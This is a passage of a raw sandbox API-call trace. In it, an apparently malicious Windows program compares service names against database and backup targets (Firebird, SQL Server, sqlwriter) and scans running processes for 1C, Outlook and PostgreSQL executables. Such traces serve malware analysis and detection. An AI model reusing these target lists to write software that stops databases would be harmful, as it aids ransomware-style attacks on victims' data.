lpString2="sppsvc") returned -1 [0218.847] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0218.847] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0218.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0218.847] lstrlenW (lpString="swprv") returned 5 [0218.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0218.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0218.847] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0218.847] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0218.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0218.847] lstrlenW (lpString="SysMain") returned 7 [0218.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0218.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0218.847] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0218.847] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0218.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0218.847] lstrlenW (lpString="Themes") returned 6 [0218.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0218.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0218.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0218.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0218.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0218.847] lstrlenW (lpString="TrkWks") returned 6 [0218.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0218.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0218.847] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0218.847] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0218.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0218.847] lstrlenW (lpString="UxSms") returned 5 [0218.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0218.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0218.847] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0218.847] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0218.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0218.847] lstrlenW (lpString="VSS") returned 3 [0218.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0218.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0218.848] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0218.848] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0218.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0218.848] lstrlenW (lpString="WdiServiceHost") returned 14 [0218.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0218.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0218.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0218.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0218.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0218.849] lstrlenW (lpString="WdiSystemHost") returned 13 [0218.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0218.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0218.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0218.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0218.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0218.850] lstrlenW (lpString="WinDefend") returned 9 [0218.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0218.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0218.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0218.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0218.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0218.850] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0218.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0218.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0218.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0218.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0218.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0218.850] lstrlenW (lpString="Winmgmt") returned 7 [0218.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0218.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0218.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0218.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0218.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0218.850] lstrlenW (lpString="wscsvc") returned 6 [0218.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0218.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0218.850] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0218.850] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0218.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0218.854] lstrlenW (lpString="wuauserv") returned 8 [0218.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0218.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0218.854] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0218.854] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0218.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0218.854] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0218.855] Process32FirstW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.856] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.859] lstrlenW (lpString="System") returned 6 [0218.859] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0218.859] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0218.859] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0218.859] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0218.859] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.860] lstrlenW (lpString="smss.exe") returned 8 [0218.860] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.860] lstrlenW (lpString="csrss.exe") returned 9 [0218.861] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.861] lstrlenW (lpString="wininit.exe") returned 11 [0218.861] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.867] lstrlenW (lpString="csrss.exe") returned 9 [0218.867] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.868] lstrlenW (lpString="winlogon.exe") returned 12 [0218.868] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.870] lstrlenW (lpString="services.exe") returned 12 [0218.870] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.871] lstrlenW (lpString="lsass.exe") returned 9 [0218.871] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.871] lstrlenW (lpString="lsm.exe") returned 7 [0218.871] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.872] lstrlenW (lpString="svchost.exe") returned 11 [0218.872] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.874] lstrlenW (lpString="svchost.exe") returned 11 [0218.874] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.876] lstrlenW (lpString="svchost.exe") returned 11 [0218.876] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.898] lstrlenW (lpString="svchost.exe") returned 11 [0218.898] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.900] lstrlenW (lpString="svchost.exe") returned 11 [0218.900] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.901] lstrlenW (lpString="audiodg.exe") returned 11 [0218.901] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.901] lstrlenW (lpString="svchost.exe") returned 11 [0218.901] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.902] lstrlenW (lpString="svchost.exe") returned 11 [0218.902] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.902] lstrlenW (lpString="dwm.exe") returned 7 [0218.902] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.903] lstrlenW (lpString="explorer.exe") returned 12 [0218.903] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.904] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.904] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0218.904] lstrlenW (lpString="taskhost.exe") returned 12 [0218.904] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.905] lstrlenW (lpString="svchost.exe") returned 11 [0218.905] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0218.905] lstrlenW (lpString="taskeng.exe") returned 11 [0218.905] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0218.906] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0218.906] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0218.907] lstrlenW (lpString="nova.exe") returned 8 [0218.907] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0218.908] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0218.908] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0218.908] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0218.909] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0218.909] lstrlenW (lpString="picks blair.exe") returned 15 [0218.909] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0218.910] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0218.910] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0218.910] lstrlenW (lpString="principal.exe") returned 13 [0218.910] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0218.911] lstrlenW (lpString="transportation.exe") returned 18 [0218.911] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0218.912] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0218.912] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0218.912] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0218.912] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0218.913] lstrlenW (lpString="planned.exe") returned 11 [0218.913] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0218.913] lstrlenW (lpString="springer andrew.exe") returned 19 [0218.913] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0218.973] lstrlenW (lpString="cakes import.exe") returned 16 [0218.973] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0218.974] lstrlenW (lpString="theory.exe") returned 10 [0218.974] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0218.974] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0218.974] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0218.975] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0218.975] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0218.977] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0218.977] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0218.978] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0218.978] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0218.979] lstrlenW (lpString="indicescancellation.exe") returned 23 [0218.979] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0218.979] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0218.979] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0218.980] lstrlenW (lpString="desk.exe") returned 8 [0218.980] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.980] lstrlenW (lpString="svchost.exe") returned 11 [0218.980] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0218.981] lstrlenW (lpString="sppsvc.exe") returned 10 [0218.981] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.982] lstrlenW (lpString="svchost.exe") returned 11 [0218.982] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.983] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.983] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.983] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0218.983] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0218.986] lstrlenW (lpString="winhost.exe") returned 11 [0218.986] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0218.987] lstrlenW (lpString="cmd.exe") returned 7 [0218.987] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0218.988] lstrlenW (lpString="conhost.exe") returned 11 [0218.988] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: 